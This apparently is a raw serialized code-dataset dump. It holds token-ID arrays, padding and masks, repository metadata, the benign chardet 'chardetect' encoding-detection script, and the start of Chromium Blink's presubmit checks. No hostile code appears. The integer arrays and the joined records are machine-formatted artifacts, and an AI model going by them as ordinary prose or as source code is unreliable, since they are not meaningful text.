408, 267, 2790, 376, 1256, 14, 398, 3033, 26, 288, 8977, 63, 344, 334, 13304, 3912, 304, 288, 5982, 334, 9515, 24, 304, 267, 408, 267, 291, 14, 19979, 1304, 275, 8977, 63, 344, 267, 291, 14, 18785, 275, 5982, 339, 347, 4005, 1558, 8, 277, 304, 267, 408, 267, 2372, 282, 1059, 6025, 402, 314, 909, 14, 398, 1803, 26, 288, 620, 26, 267, 408, 267, 372, 2071, 83, 1035, 450, 83, 298, 450, 334, 277, 14, 19979, 1304, 14, 7756, 1062, 291, 14, 18785, 14, 585, 9, 421, 199, 533, 18244, 804, 8, 785, 304, 272, 10195, 281, 10161, 275, 330, 1154, 88, 383, 7, 272, 13383, 10161, 275, 330, 1154, 88, 614, 7, 272, 24433, 1017, 10161, 275, 330, 1154, 88, 996, 7, 272, 3447, 6764, 10161, 275, 330, 1154, 88, 1165, 7, 272, 812, 15866, 10161, 275, 330, 1154, 88, 1194, 7, 272, 11828, 10161, 275, 330, 1154, 88, 2167, 7, 272, 1448, 6908, 10161, 275, 330, 1154, 88, 1257, 7, 272, 8511, 10161, 275, 330, 1154, 88, 2710, 7, 272, 437, 27798, 10161, 275, 330, 1154, 1774, 16, 7, 272, 19952, 10161, 275, 330, 1154, 2207, 16, 7, 272, 30110, 13364, 10161, 275, 330, 1154, 2207, 17, 7, 339, 768, 4639, 272, 347, 4005, 985, 8, 585, 304, 267, 340, 1228, 8, 585, 12, 1109, 304, 288, 574, 275, 574, 14, 475, 63, 2394, 8, 17, 12, 283, 10182, 358, 267, 367, 790, 12, 1242, 315, 18244, 804, 855, 807, 4343, 1744, 837, 288, 340, 574, 508, 1242, 26, 355, 372, 790, 267, 372, 488, 421, 199, 533, 18244, 2959, 8, 3571, 14065, 4256, 12, 662, 392, 15511, 4256, 304, 272, 1594, 275, 488, 221, 327, 1077, 506, 6317, 1695, 272, 14914, 3476, 275, 488, 272, 25670, 1304, 275, 488, 339, 408, 12485, 367, 18244, 2959, 624, 339, 347, 636, 826, 721, 277, 12, 25670, 1304, 29, 403, 12, 1594, 29, 403, 12, 2884, 63, 2227, 29, 403, 304, 267, 408, 267, 2790, 376, 1256, 14, 398, 3033, 26, 288, 25670, 1304, 334, 13304, 3912, 304, 288, 1594, 334, 9515, 24, 304, 288, 2884, 63, 2227, 334, 13304, 8488, 304, 267, 408, 267, 1613, 8, 10161, 2959, 12, 291, 2843, 826, 4533, 267, 291, 14, 19979, 1304, 275, 25670, 1304, 267, 291, 14, 1110, 275, 1594, 267, 291, 14, 5229, 3476, 275, 2884, 63, 2227, 339, 327, 263, 340, 291, 14, 5229, 3476, 365, 488, 26, 272, 327, 3322, 746, 2186, 480, 5229, 2631, 365, 1415, 10312, 531, 339, 768, 1829, 272, 347, 9906, 8, 277, 304, 267, 408, 267, 2372, 314, 4575, 2287, 402, 314, 6008, 14, 398, 1803, 26, 288, 620, 26, 1300, 2010, 5737, 1059, 6144, 314, 2287, 14, 267, 408, 267, 372, 18855, 14, 1378, 1476, 8, 277, 14, 5229, 3476, 9, 339, 768, 1829, 272, 347, 9906, 5571, 8, 277, 304, 267, 408, 267, 2372, 314, 4575, 2287, 402, 314, 6008, 14, 398, 1803, 26, 288, 2783, 26, 1300, 2010, 5737, 2287, 14, 267, 408, 267, 372, 2783, 8, 277, 14, 1476, 12, 2644, 534, 1624, 13, 24, 358, 339, 347, 11973, 794, 8, 277, 12, 7060, 304, 267, 408, 267, 11973, 794, 909, 14, 398, 3033, 26, 288, 7060, 334, 685, 79, 14, 2090, 14, 6636, 6261, 304, 267, 408, 267, 7060, 14, 3534, 13304, 3912, 8, 277, 14, 19979, 1304, 9, 267, 7060, 14, 3534, 9515, 24, 8, 277, 14, 1110, 9, 267, 7060, 14, 3534, 13304, 8488, 8, 277, 14, 5229, 3476, 9, 339, 347, 1487, 3549, 8, 277, 12, 7002, 304, 267, 408, 267, 1487, 3549, 2615, 909, 14, 398, 3033, 26, 288, 7002, 334, 685, 79, 14, 2090, 14, 6636, 5929, 304, 267, 408, 267, 291, 14, 19979, 1304, 275, 7002, 14, 25785, 3912, 342, 267, 291, 14, 1110, 275, 7002, 14, 3284, 9515, 24, 342, 267, 291, 14, 5229, 3476, 275, 7002, 14, 25785, 8488, 342, 267, 340, 291, 14, 5229, 3476, 365, 488, 26, 288, 746, 2186, 480, 5229, 2631, 365, 1415, 687, 22920, 10312, 531, 339, 347, 4005, 9653, 8, 277, 12, 1478, 304, 267, 408, 267, 7905, 909, 7556, 370, 282, 2600, 626, 883, 506, 4565, 465, 4840, 14, 267, 3033, 26, 288, 1478, 334, 442, 304, 710, 1478, 402, 314, 1072, 315, 282, 6008, 398, 1803, 26, 1467, 1211, 26, 267, 408, 267, 372, 469, 288, 283, 78, 356, 1478, 12, 288, 283, 6562, 356, 291, 14, 19979, 1304, 14, 1378, 16, 88, 1558, 1062, 288, 283, 585, 356, 291, 14, 1110, 14, 1378, 4698, 79, 9653, 1558, 1062, 288, 283, 1562, 356, 291, 14, 1476, 267, 789, 421, 199, 533, 18244, 3205, 8, 3571, 14065, 4256, 12, 662, 392 ]
[ 1882, 2803, 26, 1624, 13, 24, 1882, 199, 624, 199, 5831, 26, 272, 18244, 10082, 8089, 199, 7692, 26, 272, 687, 1279, 79, 14, 5402, 14, 10161, 492, 18244, 199, 624, 199, 504, 7975, 492, 20371, 199, 504, 1279, 79, 14, 3142, 4429, 492, 627, 199, 504, 1279, 79, 14, 5402, 14, 10051, 14, 10161, 1646, 492, 627, 199, 504, 1279, 79, 1018, 14, 9515, 24, 492, 18659, 24, 199, 504, 1279, 79, 14, 4491, 14, 19304, 492, 19337, 199, 504, 1279, 79, 14, 4491, 14, 19304, 804, 492, 19337, 804, 199, 504, 1279, 79, 14, 4491, 14, 18854, 3617, 492, 19337, 4256, 199, 504, 1279, 79, 1018, 14, 17134, 9773, 14, 17134, 492, 627, 199, 504, 1279, 79, 1018, 14, 2090, 14, 18854, 3617, 492, 11973, 14065, 4256, 199, 504, 1279, 79, 14, 2090, 14, 8628, 3296, 492, 8271, 2988, 199, 504, 1279, 79, 1018, 14, 2090, 14, 6636, 5929, 492, 14161, 5929, 199, 504, 1279, 79, 14, 5402, 14, 18854, 3617, 492, 662, 392, 15511, 4256, 199, 504, 1279, 79, 14, 5402, 14, 4433, 492, 11642, 199, 504, 1279, 79, 14, 5402, 14, 55, 24531, 492, 644, 24531, 199, 504, 1279, 79, 1018, 14, 13304, 3912, 492, 10666, 3912, 199, 504, 1279, 79, 14, 5402, 14, 19979, 804, 492, 25670, 804, 199, 646, 6485, 421, 199, 533, 18244, 2889, 8, 27933, 15511, 4256, 304, 272, 25670, 1304, 275, 488, 272, 26701, 275, 18659, 24, 8, 16, 9, 339, 347, 636, 826, 721, 277, 12, 8977, 63, 344, 12, 5982, 304, 267, 408, 267, 2790, 376, 1256, 14, 398, 3033, 26, 288, 8977, 63, 344, 334, 13304, 3912, 304, 288, 5982, 334, 9515, 24, 304, 267, 408, 267, 291, 14, 19979, 1304, 275, 8977, 63, 344, 267, 291, 14, 18785, 275, 5982, 339, 347, 4005, 1558, 8, 277, 304, 267, 408, 267, 2372, 282, 1059, 6025, 402, 314, 909, 14, 398, 1803, 26, 288, 620, 26, 267, 408, 267, 372, 2071, 83, 1035, 450, 83, 298, 450, 334, 277, 14, 19979, 1304, 14, 7756, 1062, 291, 14, 18785, 14, 585, 9, 421, 199, 533, 18244, 804, 8, 785, 304, 272, 10195, 281, 10161, 275, 330, 1154, 88, 383, 7, 272, 13383, 10161, 275, 330, 1154, 88, 614, 7, 272, 24433, 1017, 10161, 275, 330, 1154, 88, 996, 7, 272, 3447, 6764, 10161, 275, 330, 1154, 88, 1165, 7, 272, 812, 15866, 10161, 275, 330, 1154, 88, 1194, 7, 272, 11828, 10161, 275, 330, 1154, 88, 2167, 7, 272, 1448, 6908, 10161, 275, 330, 1154, 88, 1257, 7, 272, 8511, 10161, 275, 330, 1154, 88, 2710, 7, 272, 437, 27798, 10161, 275, 330, 1154, 1774, 16, 7, 272, 19952, 10161, 275, 330, 1154, 2207, 16, 7, 272, 30110, 13364, 10161, 275, 330, 1154, 2207, 17, 7, 339, 768, 4639, 272, 347, 4005, 985, 8, 585, 304, 267, 340, 1228, 8, 585, 12, 1109, 304, 288, 574, 275, 574, 14, 475, 63, 2394, 8, 17, 12, 283, 10182, 358, 267, 367, 790, 12, 1242, 315, 18244, 804, 855, 807, 4343, 1744, 837, 288, 340, 574, 508, 1242, 26, 355, 372, 790, 267, 372, 488, 421, 199, 533, 18244, 2959, 8, 3571, 14065, 4256, 12, 662, 392, 15511, 4256, 304, 272, 1594, 275, 488, 221, 327, 1077, 506, 6317, 1695, 272, 14914, 3476, 275, 488, 272, 25670, 1304, 275, 488, 339, 408, 12485, 367, 18244, 2959, 624, 339, 347, 636, 826, 721, 277, 12, 25670, 1304, 29, 403, 12, 1594, 29, 403, 12, 2884, 63, 2227, 29, 403, 304, 267, 408, 267, 2790, 376, 1256, 14, 398, 3033, 26, 288, 25670, 1304, 334, 13304, 3912, 304, 288, 1594, 334, 9515, 24, 304, 288, 2884, 63, 2227, 334, 13304, 8488, 304, 267, 408, 267, 1613, 8, 10161, 2959, 12, 291, 2843, 826, 4533, 267, 291, 14, 19979, 1304, 275, 25670, 1304, 267, 291, 14, 1110, 275, 1594, 267, 291, 14, 5229, 3476, 275, 2884, 63, 2227, 339, 327, 263, 340, 291, 14, 5229, 3476, 365, 488, 26, 272, 327, 3322, 746, 2186, 480, 5229, 2631, 365, 1415, 10312, 531, 339, 768, 1829, 272, 347, 9906, 8, 277, 304, 267, 408, 267, 2372, 314, 4575, 2287, 402, 314, 6008, 14, 398, 1803, 26, 288, 620, 26, 1300, 2010, 5737, 1059, 6144, 314, 2287, 14, 267, 408, 267, 372, 18855, 14, 1378, 1476, 8, 277, 14, 5229, 3476, 9, 339, 768, 1829, 272, 347, 9906, 5571, 8, 277, 304, 267, 408, 267, 2372, 314, 4575, 2287, 402, 314, 6008, 14, 398, 1803, 26, 288, 2783, 26, 1300, 2010, 5737, 2287, 14, 267, 408, 267, 372, 2783, 8, 277, 14, 1476, 12, 2644, 534, 1624, 13, 24, 358, 339, 347, 11973, 794, 8, 277, 12, 7060, 304, 267, 408, 267, 11973, 794, 909, 14, 398, 3033, 26, 288, 7060, 334, 685, 79, 14, 2090, 14, 6636, 6261, 304, 267, 408, 267, 7060, 14, 3534, 13304, 3912, 8, 277, 14, 19979, 1304, 9, 267, 7060, 14, 3534, 9515, 24, 8, 277, 14, 1110, 9, 267, 7060, 14, 3534, 13304, 8488, 8, 277, 14, 5229, 3476, 9, 339, 347, 1487, 3549, 8, 277, 12, 7002, 304, 267, 408, 267, 1487, 3549, 2615, 909, 14, 398, 3033, 26, 288, 7002, 334, 685, 79, 14, 2090, 14, 6636, 5929, 304, 267, 408, 267, 291, 14, 19979, 1304, 275, 7002, 14, 25785, 3912, 342, 267, 291, 14, 1110, 275, 7002, 14, 3284, 9515, 24, 342, 267, 291, 14, 5229, 3476, 275, 7002, 14, 25785, 8488, 342, 267, 340, 291, 14, 5229, 3476, 365, 488, 26, 288, 746, 2186, 480, 5229, 2631, 365, 1415, 687, 22920, 10312, 531, 339, 347, 4005, 9653, 8, 277, 12, 1478, 304, 267, 408, 267, 7905, 909, 7556, 370, 282, 2600, 626, 883, 506, 4565, 465, 4840, 14, 267, 3033, 26, 288, 1478, 334, 442, 304, 710, 1478, 402, 314, 1072, 315, 282, 6008, 398, 1803, 26, 1467, 1211, 26, 267, 408, 267, 372, 469, 288, 283, 78, 356, 1478, 12, 288, 283, 6562, 356, 291, 14, 19979, 1304, 14, 1378, 16, 88, 1558, 1062, 288, 283, 585, 356, 291, 14, 1110, 14, 1378, 4698, 79, 9653, 1558, 1062, 288, 283, 1562, 356, 291, 14, 1476, 267, 789, 421, 199, 533, 18244, 3205, 8, 3571, 14065, 4256, 12, 662, 392, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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py
1786
2504
#!/usr/bin/env python """ Script which takes one or more file paths and reports on their detected encodings Example:: % chardetect somefile someotherfile somefile: windows-1252 with confidence 0.5 someotherfile: ascii with confidence 1.0 If no paths are provided, it takes its input from stdin. """ from __future__ import absolute_import, print_function, unicode_literals import argparse import sys from io import open from chardet import __version__ from chardet.universaldetector import UniversalDetector def description_of(lines, name='stdin'): """ Return a string describing the probable encoding of a file or list of strings. :param lines: The lines to get the encoding of. :type lines: Iterable of bytes :param name: Name of file or collection of lines :type name: str """ u = UniversalDetector() for line in lines: u.feed(line) u.close() result = u.result if result['encoding']: return '{0}: {1} with confidence {2}'.format(name, result['encoding'], result['confidence']) else: return '{0}: no result'.format(name) def main(argv=None): ''' Handles command line arguments and gets things started. :param argv: List of arguments, as if specified on the command-line. If None, ``sys.argv[1:]`` is used instead. :type argv: list of str ''' # Get command line arguments parser = argparse.ArgumentParser( description="Takes one or more file paths and reports their detected \ encodings", formatter_class=argparse.ArgumentDefaultsHelpFormatter, conflict_handler='resolve') parser.add_argument('input', help='File whose encoding we would like to determine.', type=argparse.FileType('rb'), nargs='*', default=[sys.stdin]) parser.add_argument('--version', action='version', version='%(prog)s {0}'.format(__version__)) args = parser.parse_args(argv) for f in args.input: if f.isatty(): print("You are running chardetect interactively. Press " + "CTRL-D twice at the start of a blank line to signal the " + "end of your input. If you want help, run chardetect " + "--help\n", file=sys.stderr) print(description_of(f, f.name)) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 624, 199, 5229, 1314, 6181, 1373, 503, 1655, 570, 3792, 436, 13924, 641, 3932, 10501, 199, 21138, 199, 199, 9846, 447, 339, 450, 1495, 13552, 2005, 493, 2005, 1848, 493, 272, 2005, 493, 26, 10061, 13, 19364, 543, 15197, 378, 14, 21, 272, 2005, 1848, 493, 26, 13294, 543, 15197, 413, 14, 16, 199, 199, 3917, 949, 3792, 787, 2741, 12, 652, 6181, 2399, 1324, 687, 9009, 14, 199, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 870, 63, 1593, 12, 2649, 63, 5955, 199, 199, 646, 7534, 199, 646, 984, 199, 504, 5890, 492, 1551, 199, 199, 504, 28470, 492, 636, 1023, 363, 199, 504, 28470, 14, 24866, 19401, 492, 29347, 24402, 421, 199, 318, 1369, 63, 1618, 8, 1278, 12, 536, 534, 6626, 735, 272, 408, 272, 1432, 282, 1059, 13660, 314, 5128, 461, 2644, 402, 282, 570, 503, 272, 769, 402, 3326, 14, 339, 520, 635, 2385, 26, 710, 2385, 370, 664, 314, 2644, 402, 14, 272, 520, 466, 2385, 26, 19937, 402, 2783, 272, 520, 635, 536, 26, 2812, 402, 570, 503, 3245, 402, 2385, 272, 520, 466, 536, 26, 620, 272, 408, 272, 399, 275, 29347, 24402, 342, 272, 367, 1004, 315, 2385, 26, 267, 399, 14, 3871, 8, 604, 9, 272, 399, 14, 1600, 342, 272, 754, 275, 399, 14, 1099, 272, 340, 754, 459, 2991, 2565, 267, 372, 5041, 16, 9160, 469, 17, 93, 543, 15197, 469, 18, 5285, 908, 8, 354, 12, 754, 459, 2991, 995, 9349, 754, 459, 13969, 1105, 272, 587, 26, 267, 372, 5041, 16, 9160, 949, 754, 1370, 908, 8, 354, 9, 421, 199, 318, 2446, 8, 3020, 29, 403, 304, 272, 1449, 272, 23873, 1414, 1004, 2368, 436, 7545, 7645, 8239, 14, 339, 520, 635, 9238, 26, 3820, 402, 2368, 12, 465, 340, 2013, 641, 314, 1414, 13, 604, 14, 326, 982, 488, 12, 1124, 1274, 14, 3020, 59, 17, 2938, 1040, 365, 1202, 3140, 14, 272, 520, 466, 9238, 26, 769, 402, 620, 272, 1449, 272, 327, 2372, 1414, 1004, 2368, 272, 1798, 275, 7534, 14, 10730, 8, 267, 1369, 628, 32488, 1373, 503, 1655, 570, 3792, 436, 13924, 3932, 10501, 971, 2151, 14134, 401, 267, 9698, 63, 533, 29, 18978, 14, 5201, 16986, 22779, 12, 267, 12395, 63, 2232, 534, 6983, 358, 272, 1798, 14, 525, 63, 2094, 360, 1210, 297, 717, 1720, 534, 1173, 7447, 2644, 781, 3955, 2839, 370, 6705, 3130, 717, 730, 29, 18978, 14, 20683, 360, 4848, 659, 9237, 534, 7693, 717, 849, 1524, 1274, 14, 6626, 566, 272, 1798, 14, 525, 63, 2094, 4517, 1023, 297, 1595, 534, 1023, 297, 717, 1015, 29342, 6595, 9, 83, 469, 16, 5285, 908, 3460, 1023, 8964, 272, 1249, 275, 1798, 14, 1122, 63, 589, 8, 3020, 9, 339, 367, 289, 315, 1249, 14, 1210, 26, 267, 340, 289, 14, 21122, 837, 288, 870, 480, 5556, 787, 3879, 1495, 13552, 315, 2967, 67, 9462, 14, 23583, 298, 435, 2116, 298, 22584, 13, 36, 13373, 737, 314, 1343, 402, 282, 4596, 1004, 370, 4673, 314, 298, 435, 2116, 298, 500, 402, 2195, 1324, 14, 982, 1265, 2934, 1720, 12, 1255, 1495, 13552, 298, 435, 2116, 4320, 3437, 60, 78, 401, 570, 29, 1274, 14, 3083, 9, 267, 870, 8, 1802, 63, 1618, 8, 70, 12, 289, 14, 354, 430, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 624, 199, 5229, 1314, 6181, 1373, 503, 1655, 570, 3792, 436, 13924, 641, 3932, 10501, 199, 21138, 199, 199, 9846, 447, 339, 450, 1495, 13552, 2005, 493, 2005, 1848, 493, 272, 2005, 493, 26, 10061, 13, 19364, 543, 15197, 378, 14, 21, 272, 2005, 1848, 493, 26, 13294, 543, 15197, 413, 14, 16, 199, 199, 3917, 949, 3792, 787, 2741, 12, 652, 6181, 2399, 1324, 687, 9009, 14, 199, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 870, 63, 1593, 12, 2649, 63, 5955, 199, 199, 646, 7534, 199, 646, 984, 199, 504, 5890, 492, 1551, 199, 199, 504, 28470, 492, 636, 1023, 363, 199, 504, 28470, 14, 24866, 19401, 492, 29347, 24402, 421, 199, 318, 1369, 63, 1618, 8, 1278, 12, 536, 534, 6626, 735, 272, 408, 272, 1432, 282, 1059, 13660, 314, 5128, 461, 2644, 402, 282, 570, 503, 272, 769, 402, 3326, 14, 339, 520, 635, 2385, 26, 710, 2385, 370, 664, 314, 2644, 402, 14, 272, 520, 466, 2385, 26, 19937, 402, 2783, 272, 520, 635, 536, 26, 2812, 402, 570, 503, 3245, 402, 2385, 272, 520, 466, 536, 26, 620, 272, 408, 272, 399, 275, 29347, 24402, 342, 272, 367, 1004, 315, 2385, 26, 267, 399, 14, 3871, 8, 604, 9, 272, 399, 14, 1600, 342, 272, 754, 275, 399, 14, 1099, 272, 340, 754, 459, 2991, 2565, 267, 372, 5041, 16, 9160, 469, 17, 93, 543, 15197, 469, 18, 5285, 908, 8, 354, 12, 754, 459, 2991, 995, 9349, 754, 459, 13969, 1105, 272, 587, 26, 267, 372, 5041, 16, 9160, 949, 754, 1370, 908, 8, 354, 9, 421, 199, 318, 2446, 8, 3020, 29, 403, 304, 272, 1449, 272, 23873, 1414, 1004, 2368, 436, 7545, 7645, 8239, 14, 339, 520, 635, 9238, 26, 3820, 402, 2368, 12, 465, 340, 2013, 641, 314, 1414, 13, 604, 14, 326, 982, 488, 12, 1124, 1274, 14, 3020, 59, 17, 2938, 1040, 365, 1202, 3140, 14, 272, 520, 466, 9238, 26, 769, 402, 620, 272, 1449, 272, 327, 2372, 1414, 1004, 2368, 272, 1798, 275, 7534, 14, 10730, 8, 267, 1369, 628, 32488, 1373, 503, 1655, 570, 3792, 436, 13924, 3932, 10501, 971, 2151, 14134, 401, 267, 9698, 63, 533, 29, 18978, 14, 5201, 16986, 22779, 12, 267, 12395, 63, 2232, 534, 6983, 358, 272, 1798, 14, 525, 63, 2094, 360, 1210, 297, 717, 1720, 534, 1173, 7447, 2644, 781, 3955, 2839, 370, 6705, 3130, 717, 730, 29, 18978, 14, 20683, 360, 4848, 659, 9237, 534, 7693, 717, 849, 1524, 1274, 14, 6626, 566, 272, 1798, 14, 525, 63, 2094, 4517, 1023, 297, 1595, 534, 1023, 297, 717, 1015, 29342, 6595, 9, 83, 469, 16, 5285, 908, 3460, 1023, 8964, 272, 1249, 275, 1798, 14, 1122, 63, 589, 8, 3020, 9, 339, 367, 289, 315, 1249, 14, 1210, 26, 267, 340, 289, 14, 21122, 837, 288, 870, 480, 5556, 787, 3879, 1495, 13552, 315, 2967, 67, 9462, 14, 23583, 298, 435, 2116, 298, 22584, 13, 36, 13373, 737, 314, 1343, 402, 282, 4596, 1004, 370, 4673, 314, 298, 435, 2116, 298, 500, 402, 2195, 1324, 14, 982, 1265, 2934, 1720, 12, 1255, 1495, 13552, 298, 435, 2116, 4320, 3437, 60, 78, 401, 570, 29, 1274, 14, 3083, 9, 267, 870, 8, 1802, 63, 1618, 8, 70, 12, 289, 14, 354, 430, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
geminy/aidear
oss/qt/qt-everywhere-opensource-src-5.9.0/qtwebengine/src/3rdparty/chromium/third_party/WebKit/PRESUBMIT.py
5
16507
# Copyright (c) 2013 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Top-level presubmit script for Blink. See http://dev.chromium.org/developers/how-tos/depottools/presubmit-scripts for more details about the presubmit API built into gcl. """ import os import re import sys _EXCLUDED_PATHS = ( # LayoutTests/imported is excluded because these files are automatically # imported, so we do not have direct control over their content. r'^third_party[\\\/]WebKit[\\\/]LayoutTests[\\\/]imported[\\\/].*', ) def _CheckForNonBlinkVariantMojomIncludes(input_api, output_api): pattern = input_api.re.compile(r'#include\s+.+\.mojom(.*)\.h[>"]') errors = [] for f in input_api.AffectedFiles(): for line_num, line in f.ChangedContents(): m = pattern.match(line) if m and m.group(1) != '-blink' and m.group(1) != '-shared': errors.append(' %s:%d %s' % ( f.LocalPath(), line_num, line)) results = [] if errors: results.append(output_api.PresubmitError( 'Files that include non-Blink variant mojoms found:', errors)) return results def _CheckForVersionControlConflictsInFile(input_api, f): pattern = input_api.re.compile('^(?:<<<<<<<|>>>>>>>) |^=======$') errors = [] for line_num, line in f.ChangedContents(): if pattern.match(line): errors.append(' %s:%d %s' % (f.LocalPath(), line_num, line)) return errors def _CheckForVersionControlConflicts(input_api, output_api): """Usually this is not 